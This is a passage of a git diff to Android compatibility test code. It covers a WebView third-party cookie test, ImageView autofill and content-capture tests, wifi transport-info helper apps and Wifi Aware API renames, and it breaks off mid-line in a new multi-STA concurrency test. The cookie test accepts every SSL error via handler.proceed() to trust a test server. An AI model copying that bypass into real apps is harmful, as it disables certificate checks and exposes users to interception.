- // Turn on Javascript (otherwise <script> aren't fetched spoiling the test).
- mOnUiThread.getSettings().setJavaScriptEnabled(true);
+ // In theory we need two servers to test this, one server ('the first party')
+ // which returns a response with a link to a second server ('the third party')
+ // at different origin. This second server attempts to set a cookie which should
+ // fail if AcceptThirdPartyCookie() is false.
+ // Strictly according to the letter of RFC6454 it should be possible to set this
+ // situation up with two TestServers on different ports (these count as having
+ // different origins) but Chrome is not strict about this and does not check the
+ // port. Instead we cheat making some of the urls come from localhost and some
+ // from 127.0.0.1 which count (both in theory and pratice) as having different
+ // origins.
+ mServer = new CtsTestServer(getActivity(), /* secure */ true);
+ mOnUiThread.setWebViewClient(new WaitForLoadedClient(mOnUiThread) {
+ @Override
+ public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {
+ // ignore the test server's invalid SSL cert
+ handler.proceed();
+ }
+ });
- // Turn global allow on.
- mCookieManager.setAcceptCookie(true);
- assertTrue(mCookieManager.acceptCookie());
+ // Turn on Javascript (otherwise <script> aren't fetched spoiling the test).
+ mOnUiThread.getSettings().setJavaScriptEnabled(true);
- // When third party cookies are disabled...
- mOnUiThread.setAcceptThirdPartyCookies(false);
- assertFalse(mOnUiThread.acceptThirdPartyCookies());
+ // Turn global allow on.
+ mCookieManager.setAcceptCookie(true);
+ assertTrue(mCookieManager.acceptCookie());
- // ...we can't set third party cookies.
- // First on the third party server we get a url which tries to set a cookie.
- String cookieUrl = toThirdPartyUrl(
- server.getSetCookieUrl("cookie_1.js", "test1", "value1", "SameSite=None; Secure"));
- // Then we create a url on the first party server which links to the first url.
- String url = server.getLinkedScriptUrl("/content_1.html", cookieUrl);
- mOnUiThread.loadUrlAndWaitForCompletion(url);
- assertNull(mCookieManager.getCookie(cookieUrl));
+ // When third party cookies are disabled...
+ mOnUiThread.setAcceptThirdPartyCookies(false);
+ assertFalse(mOnUiThread.acceptThirdPartyCookies());
- // When third party cookies are enabled...
- mOnUiThread.setAcceptThirdPartyCookies(true);
- assertTrue(mOnUiThread.acceptThirdPartyCookies());
+ // ...we can't set third party cookies.
+ // First on the third party server we get a url which tries to set a cookie.
+ String cookieUrl = toThirdPartyUrl(
+ mServer.getSetCookieUrl("cookie_1.js", "test1", "value1", "SameSite=None; Secure"));
+ // Then we create a url on the first party server which links to the first url.
+ String url = mServer.getLinkedScriptUrl("/content_1.html", cookieUrl);
+ mOnUiThread.loadUrlAndWaitForCompletion(url);
+ assertNull(mCookieManager.getCookie(cookieUrl));
- // ...we can set third party cookies.
- cookieUrl = toThirdPartyUrl(
- server.getSetCookieUrl("/cookie_2.js", "test2", "value2", "SameSite=None; Secure"));
- url = server.getLinkedScriptUrl("/content_2.html", cookieUrl);
- mOnUiThread.loadUrlAndWaitForCompletion(url);
- waitForCookie(cookieUrl);
- String cookie = mCookieManager.getCookie(cookieUrl);
- assertNotNull(cookie);
- assertTrue(cookie.contains("test2"));
- } finally {
- if (server != null) server.shutdown();
- mOnUiThread.getSettings().setJavaScriptEnabled(false);
- }
+ // When third party cookies are enabled...
+ mOnUiThread.setAcceptThirdPartyCookies(true);
+ assertTrue(mOnUiThread.acceptThirdPartyCookies());
+
+ // ...we can set third party cookies.
+ cookieUrl = toThirdPartyUrl(
+ mServer.getSetCookieUrl("/cookie_2.js", "test2", "value2", "SameSite=None; Secure"));
+ url = mServer.getLinkedScriptUrl("/content_2.html", cookieUrl);
+ mOnUiThread.loadUrlAndWaitForCompletion(url);
+ waitForCookie(cookieUrl);
+ String cookie = mCookieManager.getCookie(cookieUrl);
+ assertNotNull(cookie);
+ assertTrue(cookie.contains("test2"));
}
public void testb3167208() throws Exception {
diff --git a/tests/tests/widget/res/layout/imageview_layout.xml b/tests/tests/widget/res/layout/imageview_layout.xml
index 5de0769..00dfc79 100644
--- a/tests/tests/widget/res/layout/imageview_layout.xml
+++ b/tests/tests/widget/res/layout/imageview_layout.xml
@@ -49,5 +49,26 @@
android:layout_width="wrap_content"
android:layout_height="wrap_content" />
+ <ImageView
+ android:id="@+id/imageview_important_auto"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:importantForAutofill="auto"
+ android:importantForContentCapture="auto" />
+
+ <ImageView
+ android:id="@+id/imageview_important_no"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:importantForAutofill="no"
+ android:importantForContentCapture="no" />
+
+ <ImageView
+ android:id="@+id/imageview_important_yes"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:importantForAutofill="yes"
+ android:importantForContentCapture="yes" />
+
</LinearLayout>
diff --git a/tests/tests/widget/src/android/widget/cts/ImageViewTest.java b/tests/tests/widget/src/android/widget/cts/ImageViewTest.java
index e09946d..b3392b3 100644
--- a/tests/tests/widget/src/android/widget/cts/ImageViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ImageViewTest.java
@@ -60,6 +60,7 @@
import android.net.Uri;
import android.util.AttributeSet;
import android.util.Xml;
+import android.view.View;
import android.widget.ImageView;
import android.widget.ImageView.ScaleType;
import android.widget.cts.util.TestUtils;
@@ -159,6 +160,59 @@
@UiThreadTest
@Test
+ public void testConstructorImportantForAutofill() {
+ ImageView imageView = new ImageView(mActivity);
+ assertEquals(View.IMPORTANT_FOR_AUTOFILL_NO, imageView.getImportantForAutofill());
+ assertFalse(imageView.isImportantForAutofill());
+
+ imageView = new ImageView(mActivity, null);
+ assertEquals(View.IMPORTANT_FOR_AUTOFILL_NO, imageView.getImportantForAutofill());
+ assertFalse(imageView.isImportantForAutofill());
+
+ imageView = mActivity.findViewById(R.id.imageview_important_auto);
+ assertEquals(View.IMPORTANT_FOR_AUTOFILL_NO, imageView.getImportantForAutofill());
+ assertFalse(imageView.isImportantForAutofill());
+
+ imageView = mActivity.findViewById(R.id.imageview_important_no);
+ assertEquals(View.IMPORTANT_FOR_AUTOFILL_NO, imageView.getImportantForAutofill());
+ assertFalse(imageView.isImportantForAutofill());
+
+ imageView = mActivity.findViewById(R.id.imageview_important_yes);
+ assertEquals(View.IMPORTANT_FOR_AUTOFILL_YES, imageView.getImportantForAutofill());
+ assertTrue(imageView.isImportantForAutofill());
+ }
+
+ @UiThreadTest
+ @Test
+ public void testConstructorImportantForContentCapture() {
+ ImageView imageView = new ImageView(mActivity);
+ assertEquals(View.IMPORTANT_FOR_CONTENT_CAPTURE_YES,
+ imageView.getImportantForContentCapture());
+ assertTrue(imageView.isImportantForContentCapture());
+
+ imageView = new ImageView(mActivity, null);
+ assertEquals(View.IMPORTANT_FOR_CONTENT_CAPTURE_YES,
+ imageView.getImportantForContentCapture());
+ assertTrue(imageView.isImportantForContentCapture());
+
+ imageView = mActivity.findViewById(R.id.imageview_important_auto);
+ assertEquals(View.IMPORTANT_FOR_CONTENT_CAPTURE_YES,
+ imageView.getImportantForContentCapture());
+ assertTrue(imageView.isImportantForContentCapture());
+
+ imageView = mActivity.findViewById(R.id.imageview_important_no);
+ assertEquals(View.IMPORTANT_FOR_CONTENT_CAPTURE_NO,
+ imageView.getImportantForContentCapture());
+ assertFalse(imageView.isImportantForContentCapture());
+
+ imageView = mActivity.findViewById(R.id.imageview_important_yes);
+ assertEquals(View.IMPORTANT_FOR_CONTENT_CAPTURE_YES,
+ imageView.getImportantForContentCapture());
+ assertTrue(imageView.isImportantForContentCapture());
+ }
+
+ @UiThreadTest
+ @Test
public void testInvalidateDrawable() {
mImageViewRegular.invalidateDrawable(null);
}
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
index f547bed..a6ec3fa 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
@@ -696,7 +696,7 @@
assertNull(newActivity);
Intent intent = new Intent(Intent.ACTION_VIEW, uri);
- PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+ PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
mRemoteViews.setOnClickPendingIntent(R.id.remoteView_image, pendingIntent);
mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
mActivityRule.runOnUiThread(() -> view.performClick());
diff --git a/tests/tests/wifi/CtsWifiLocationTestApp/Android.bp b/tests/tests/wifi/CtsWifiLocationTestApp/Android.bp
index bd6869a..4e74d2f 100644
--- a/tests/tests/wifi/CtsWifiLocationTestApp/Android.bp
+++ b/tests/tests/wifi/CtsWifiLocationTestApp/Android.bp
@@ -25,4 +25,9 @@
srcs: [
"src/**/*.java"
],
+
+ static_libs: [
+ "androidx.appcompat_appcompat",
+ "androidx.test.rules",
+ ],
}
diff --git a/tests/tests/wifi/CtsWifiLocationTestApp/AndroidManifest.xml b/tests/tests/wifi/CtsWifiLocationTestApp/AndroidManifest.xml
index 96fb0a6..9ad760b 100644
--- a/tests/tests/wifi/CtsWifiLocationTestApp/AndroidManifest.xml
+++ b/tests/tests/wifi/CtsWifiLocationTestApp/AndroidManifest.xml
@@ -22,6 +22,7 @@
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
+ <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
@@ -50,5 +51,12 @@
android:name=".RetrieveConnectionInfoAndReturnStatusService"
android:permission="android.permission.BIND_JOB_SERVICE"
android:exported="true" />
+ <activity
+ android:name=".RetrieveTransportInfoAndReturnStatusActivity"
+ android:exported="true" />
+ <service
+ android:name=".RetrieveTransportInfoAndReturnStatusService"
+ android:permission="android.permission.BIND_JOB_SERVICE"
+ android:exported="true" />
</application>
</manifest>
diff --git a/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusActivity.java b/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusActivity.java
new file mode 100644
index 0000000..9f7178b
--- /dev/null
+++ b/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusActivity.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.wifi.cts.app;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.net.ConnectivityManager;
+import android.net.Network;
+import android.net.NetworkCapabilities;
+import android.net.TransportInfo;
+import android.net.wifi.WifiInfo;
+import android.net.wifi.WifiManager;
+import android.os.Bundle;
+import android.util.Log;
+
+import java.util.Objects;
+
+/**
+ * An activity that retrieves Transport info and returns status.
+ */
+public class RetrieveTransportInfoAndReturnStatusActivity extends Activity {
+ private static final String TAG = "RetrieveTransportInfoAndReturnStatusActivity";
+ private static final String STATUS_EXTRA = "android.net.wifi.cts.app.extra.STATUS";
+
+ public static boolean canRetrieveSsidFromTransportInfo(
+ String logTag, ConnectivityManager connectivityManager) {
+ // Assumes wifi network is the default route.
+ Network[] networks = connectivityManager.getAllNetworks();
+ if (networks == null || networks.length == 0) {
+ Log.e(logTag, " Failed to get any networks");
+ return false;
+ }
+ NetworkCapabilities wifiNetworkCapabilities = null;
+ for (Network network : networks) {
+ NetworkCapabilities networkCapabilities =
+ connectivityManager.getNetworkCapabilities(network);
+ if (networkCapabilities == null) {
+ Log.e(logTag, "Failed to get network capabilities for network: " + network);
+ continue;
+ }
+ if (networkCapabilities.hasTransport(NetworkCapabilities.TRANSPORT_WIFI)) {
+ wifiNetworkCapabilities = networkCapabilities;
+ break;
+ }
+ }
+ if (wifiNetworkCapabilities == null) {
+ Log.e(logTag, "Failed to get network capabilities for wifi network."
+ + " Available networks: " + networks);
+ return false;
+ }
+ TransportInfo transportInfo = wifiNetworkCapabilities.getTransportInfo();
+ if (!(transportInfo instanceof WifiInfo)) {
+ Log.e(logTag, " Failed to retrieve WifiInfo");
+ return false;
+ }
+ WifiInfo wifiInfo = (WifiInfo) transportInfo;
+ boolean succeeded = !Objects.equals(wifiInfo.getSSID(), WifiManager.UNKNOWN_SSID);
+ if (succeeded) {
+ Log.v(logTag, "SSID from transport info retrieval succeeded");
+ } else {
+ Log.v(logTag, "Failed to retrieve SSID from transport info");
+ }
+ return succeeded;
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ ConnectivityManager connectivityManager = getSystemService(ConnectivityManager.class);
+ setResult(RESULT_OK, new Intent().putExtra(
+ STATUS_EXTRA, canRetrieveSsidFromTransportInfo(TAG, connectivityManager)));
+ finish();
+ }
+}
diff --git a/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusService.java b/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusService.java
new file mode 100644
index 0000000..1476455
--- /dev/null
+++ b/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusService.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.wifi.cts.app;
+
+import static android.net.wifi.cts.app.RetrieveTransportInfoAndReturnStatusActivity.canRetrieveSsidFromTransportInfo;
+
+import android.app.job.JobParameters;
+import android.app.job.JobService;
+import android.content.Intent;
+import android.net.ConnectivityManager;
+import android.net.wifi.WifiManager;
+import android.os.ResultReceiver;
+import android.util.Log;
+
+/**
+ * A service that retrieves transport Info and returns status.
+ */
+public class RetrieveTransportInfoAndReturnStatusService extends JobService {
+ private static final String TAG = "RetrieveTransportInfoAndReturnStatusService";
+ private static final String RESULT_RECEIVER_EXTRA =
+ "android.net.wifi.cts.app.extra.RESULT_RECEIVER";
+
+ @Override
+ public boolean onStartJob(JobParameters jobParameters) {
+ ResultReceiver resultReceiver =
+ jobParameters.getTransientExtras().getParcelable(RESULT_RECEIVER_EXTRA);
+ ConnectivityManager connectivityManager = getSystemService(ConnectivityManager.class);
+ resultReceiver.send(
+ canRetrieveSsidFromTransportInfo(TAG, connectivityManager) ? 1 : 0, null);
+ return false;
+ }
+
+ @Override
+ public boolean onStopJob(JobParameters jobParameters) {
+ return false;
+ }
+}
diff --git a/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java b/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
index 8555f76..60191a5 100644
--- a/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
@@ -468,9 +468,9 @@
}
AwareResources resources = mWifiAwareManager.getAvailableAwareResources();
assertNotNull("Available aware resources are null", resources);
- assertTrue(resources.getNumOfAvailablePublishSessions() > 0);
- assertTrue(resources.getNumOfAvailableSubscribeSessions() > 0);
- assertTrue(resources.getNumOfAvailableDataPaths() > 0);
+ assertTrue(resources.getAvailableDataPathsCount() > 0);
+ assertTrue(resources.getAvailablePublishSessionsCount() > 0);
+ assertTrue(resources.getAvailableSubscribeSessionsCount() > 0);
}
/**
@@ -575,7 +575,7 @@
int numOfAllPublishSessions = 0;
if (BuildCompat.isAtLeastS()) {
numOfAllPublishSessions = mWifiAwareManager
- .getAvailableAwareResources().getNumOfAvailablePublishSessions();
+ .getAvailableAwareResources().getAvailablePublishSessionsCount();
}
// 1. publish
@@ -590,7 +590,7 @@
DiscoverySessionCallbackTest.ON_SESSION_DISCOVERED_LOST));
if (BuildCompat.isAtLeastS()) {
assertEquals(numOfAllPublishSessions - 1, mWifiAwareManager
- .getAvailableAwareResources().getNumOfAvailablePublishSessions());
+ .getAvailableAwareResources().getAvailablePublishSessionsCount());
}
// 2. update-publish
publishConfig = new PublishConfig.Builder().setServiceName(
@@ -610,7 +610,7 @@
DiscoverySessionCallbackTest.ON_SESSION_CONFIG_UPDATED));
if (BuildCompat.isAtLeastS()) {
assertEquals(numOfAllPublishSessions, mWifiAwareManager
- .getAvailableAwareResources().getNumOfAvailablePublishSessions());
+ .getAvailableAwareResources().getAvailablePublishSessionsCount());
}
session.close();
}
@@ -674,7 +674,7 @@
int numOfAllSubscribeSessions = 0;
if (BuildCompat.isAtLeastS()) {
numOfAllSubscribeSessions = mWifiAwareManager
- .getAvailableAwareResources().getNumOfAvailableSubscribeSessions();
+ .getAvailableAwareResources().getAvailableSubscribeSessionsCount();
}
// 1. subscribe
session.subscribe(subscribeConfig, discoveryCb, mHandler);
@@ -688,7 +688,7 @@
DiscoverySessionCallbackTest.ON_SESSION_DISCOVERED_LOST));
if (BuildCompat.isAtLeastS()) {
assertEquals(numOfAllSubscribeSessions - 1, mWifiAwareManager
- .getAvailableAwareResources().getNumOfAvailableSubscribeSessions());
+ .getAvailableAwareResources().getAvailableSubscribeSessionsCount());
}
// 2. update-subscribe
@@ -717,7 +717,7 @@
DiscoverySessionCallbackTest.ON_SESSION_CONFIG_UPDATED));
if (BuildCompat.isAtLeastS()) {
assertEquals(numOfAllSubscribeSessions, mWifiAwareManager
- .getAvailableAwareResources().getNumOfAvailableSubscribeSessions());
+ .getAvailableAwareResources().getAvailableSubscribeSessionsCount());
}
session.close();
}
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java
new file mode 100644
index 0000000..0c12dcd
--- /dev/null
+++ b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java
@@ -0,0 +1,690 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.wifi.cts;
+
+import static android.net.NetworkCapabilitiesProto.NET_CAPABILITY_INTERNET;
+import static android.net.NetworkCapabilitiesProto.TRANSPORT_WIFI;
+import static android.os.Process.myUid;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.annotation.NonNull;
+import android.app.UiAutomation;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.location.LocationManager;
+import android.net.ConnectivityManager;
+import android.net.LinkProperties;
+import android.net.MacAddress;
+import android.net.Network;
+import android.net.NetworkCapabilities;
+import android.net.NetworkRequest;
+import android.net.wifi.ScanResult;
+import android.net.wifi.WifiConfiguration;
+import android.net.wifi.WifiInfo;
+import android.net.wifi.WifiManager;
+import android.net.wifi.WifiManager.NetworkRequestMatchCallback;
+import android.net.wifi.WifiNetworkSpecifier;
+import android.os.WorkSource;
+import android.platform.test.annotations.AppModeFull;
+import android.support.test.uiautomator.UiDevice;
+import android.text.TextUtils;
+
+import androidx.test.filters.SdkSuppress;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.ShellIdentityUtils;
+import com.android.compatibility.common.util.SystemUtil;
+
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests multiple concurrent connection flow on devices that support multi STA concurrency
+ * (indicated via {@link WifiManager#isMultiStaConcurrencySupported()}.
+ *
+ * Tests the entire connection flow using {@link WifiNetworkSpecifier} embedded in a
+ * {@link NetworkRequest} & passed into {@link ConnectivityManager#requestNetwork(NetworkRequest,
+ * ConnectivityManager.NetworkCallback)} along with a concurrent internet connection using
+ * {@link WifiManager#connect(int, WifiManager.ActionListener)}.
+ *
+ * Assumes that all the saved networks is either open/WPA1/WPA2/WPA3 authenticated network.
+ *
+ * TODO(b/177591382): Refactor some of the utilities to a separate file that are copied over from
+ * WifiManagerTest & WifiNetworkSpecifierTest.
+ *
+ * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+ */
+@SdkSuppress(minSdkVersion = 31, codeName = "S")
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class MultiStaConcurrencyWifiNetworkSpecifierTest extends WifiJUnit4TestBase {
+ private static final String TAG = "MultiStaConcurrencyWifiNetworkSpecifierTest";
+ private static boolean sWasVerboseLoggingEnabled;
+ private static boolean sWasScanThrottleEnabled;
+ private static boolean sWasWifiEnabled;
+
+ private Context mContext;
+ private WifiManager mWifiManager;
+ private ConnectivityManager mConnectivityManager;
+ private UiDevice mUiDevice;
+ private WifiConfiguration mTestNetworkForPeerToPeer;
+ private WifiConfiguration mTestNetworkForInternetConnection;
+ private TestNetworkCallback mNetworkCallback;
+ private TestNetworkCallback mNrNetworkCallback;
+
+ private static final int DURATION = 10_000;
+ private static final int DURATION_UI_INTERACTION = 25_000;
+ private static final int DURATION_NETWORK_CONNECTION = 60_000;
+ private static final int DURATION_SCREEN_TOGGLE = 2000;
+ private static final int SCAN_RETRY_CNT_TO_FIND_MATCHING_BSSID = 3;
+
+ @BeforeClass
+ public static void setUpClass() throws Exception {
+ Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ // skip the test if WiFi is not supported. Don't use assumeTrue in @BeforeClass
+ if (!WifiFeature.isWifiSupported(context)) return;
+
+ WifiManager wifiManager = context.getSystemService(WifiManager.class);
+ assertNotNull(wifiManager);
+
+ // turn on verbose logging for tests
+ sWasVerboseLoggingEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+ () -> wifiManager.isVerboseLoggingEnabled());
+ ShellIdentityUtils.invokeWithShellPermissions(
+ () -> wifiManager.setVerboseLoggingEnabled(true));
+ // Disable scan throttling for tests.
+ sWasScanThrottleEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+ () -> wifiManager.isScanThrottleEnabled());
+ ShellIdentityUtils.invokeWithShellPermissions(
+ () -> wifiManager.setScanThrottleEnabled(false));
+
+ // enable Wifi
+ sWasWifiEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+ () -> wifiManager.isWifiEnabled());
+ if (!wifiManager.isWifiEnabled()) setWifiEnabled(true);
+ PollingCheck.check("Wifi not enabled", DURATION, () -> wifiManager.isWifiEnabled());
+ }
+
+ @AfterClass
+ public static void tearDownClass() throws Exception {
+ Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ if (!WifiFeature.isWifiSupported(context)) return;
+
+ WifiManager wifiManager = context.getSystemService(WifiManager.class);
+ assertNotNull(wifiManager);
+
+ ShellIdentityUtils.invokeWithShellPermissions(
+ () -> wifiManager.setScanThrottleEnabled(sWasScanThrottleEnabled));
+ ShellIdentityUtils.invokeWithShellPermissions(
+ () -> wifiManager.setVerboseLoggingEnabled(sWasVerboseLoggingEnabled));
+ ShellIdentityUtils.invokeWithShellPermissions(
+ () -> wifiManager.setWifiEnabled(sWasWifiEnabled));
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getInstrumentation().getContext();
+ mWifiManager = mContext.getSystemService(WifiManager.class);
+ mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
+ mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+
+ // skip the test if WiFi is not supported
+ assumeTrue(WifiFeature.isWifiSupported(mContext));
+ // skip the test if location is not supported
+ assumeTrue(mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LOCATION));
+ // skip if multi STA not supported.
+ assumeTrue(mWifiManager.isMultiStaConcurrencySupported());
+
+ assertTrue("Please enable location for this test!",
+ mContext.getSystemService(LocationManager.class).isLocationEnabled());
+
+ // turn screen on
+ turnScreenOn();
+
+ // Clear any existing app state before each test.
+ ShellIdentityUtils.invokeWithShellPermissions(
+ () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
+
+ // We need 2 AP's for the test. If there are 2 networks saved on the device and in range,
+ // use those. Otherwise, check if there are 2 BSSID's in range for the only saved network.
+ // This assumes a CTS test environment with at least 2 connectable bssid's (Is that ok?).
+ List<WifiConfiguration> savedNetworks = ShellIdentityUtils.invokeWithShellPermissions(
+ () -> mWifiManager.getPrivilegedConfiguredNetworks());
+ List<WifiConfiguration> matchingNetworksWithBssid =
+ findMatchingSavedNetworksWithBssid(mWifiManager, savedNetworks);
+ assertTrue("Need at least 2 saved network bssids in range",
+ matchingNetworksWithBssid.size() >= 2);
+ // Pick any 2 bssid for test.
+ mTestNetworkForPeerToPeer = matchingNetworksWithBssid.get(0);
+ mTestNetworkForInternetConnection = matchingNetworksWithBssid.get(1);
+
+ // Disconnect & disable auto-join on the saved network to prevent auto-connect from
+ // interfering with the test.
+ ShellIdentityUtils.invokeWithShellPermissions(
+ () -> {
+ for (WifiConfiguration savedNetwork : savedNetworks) {
+ mWifiManager.disableNetwork(savedNetwork.networkId);
+ }
+ mWifiManager.disconnect();
+ });
+
+ // Wait for Wifi to be disconnected.
+ PollingCheck.check(
+ "Wifi not disconnected",
+ 20_000,
+ () -> mWifiManager.getConnectionInfo().getNetworkId() == -1);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ // Re-enable networks.
+ ShellIdentityUtils.invokeWithShellPermissions(
+ () -> {
+ for (WifiConfiguration savedNetwork : mWifiManager.getConfiguredNetworks()) {
+ mWifiManager.enableNetwork(savedNetwork.networkId, false);
+ }
+ });
+ // Release the requests after the test.
+ if (mNetworkCallback != null) {
+ mConnectivityManager.unregisterNetworkCallback(mNetworkCallback);
+ }
+ if (mNrNetworkCallback != null) {
+ mConnectivityManager.unregisterNetworkCallback(mNrNetworkCallback);
+ }
+ // Clear any existing app state after each test.
+ ShellIdentityUtils.invokeWithShellPermissions(
+ () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
+ turnScreenOff();
+ }
+
+ private static void setWifiEnabled(boolean enable) throws Exception {
+ // now trigger the change using shell commands.
+ SystemUtil.runShellCommand("svc wifi " + (enable ? "enable" : "disable"));
+ }
+
+ private void turnScreenOn() throws Exception {
+ mUiDevice.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+ mUiDevice.executeShellCommand("wm dismiss-keyguard");
+ // Since the screen on/off intent is ordered, they will not be sent right now.
+ Thread.sleep(DURATION_SCREEN_TOGGLE);
+ }
+
+ private void turnScreenOff() throws Exception {
+ mUiDevice.executeShellCommand("input keyevent KEYCODE_SLEEP");
+ // Since the screen on/off intent is ordered, they will not be sent right now.
+ Thread.sleep(DURATION_SCREEN_TOGGLE);
+ }
+
+ private static class TestScanResultsCallback extends WifiManager.ScanResultsCallback {
+ private final CountDownLatch mCountDownLatch;
+ public boolean onAvailableCalled = false;
+
+ TestScanResultsCallback(CountDownLatch countDownLatch) {
+ mCountDownLatch = countDownLatch;
+ }
+
+ @Override
+ public void onScanResultsAvailable() {
+ onAvailableCalled = true;
+ mCountDownLatch.countDown();
+ }
+ }
+
+ /**
+ * Loops through all the saved networks available in the scan results. Returns a list of
+ * WifiConfiguration with the matching bssid filled in {@link WifiConfiguration#BSSID}.
+ *
+ * Note:
+ * a) If there are more than 2 networks with the same SSID, but different credential type, then
+ * this matching may pick the wrong one.
+ */
+ private static List<WifiConfiguration> findMatchingSavedNetworksWithBssid(
+ @NonNull WifiManager wifiManager, @NonNull List<WifiConfiguration> savedNetworks) {
+ if (savedNetworks.isEmpty()) return Collections.emptyList();
+ List<WifiConfiguration> matchingNetworksWithBssids = new ArrayList<>();
+ CountDownLatch countDownLatch = new CountDownLatch(1);
+ for (int i = 0; i < SCAN_RETRY_CNT_TO_FIND_MATCHING_BSSID; i++) {
+ // Trigger a scan to get fresh scan results.
+ TestScanResultsCallback scanResultsCallback =
+ new TestScanResultsCallback(countDownLatch);
+ try {
+ wifiManager.registerScanResultsCallback(
+ Executors.newSingleThreadExecutor(), scanResultsCallback);
+ wifiManager.startScan(new WorkSource(myUid()));
+ // now wait for callback
+ assertTrue(countDownLatch.await(
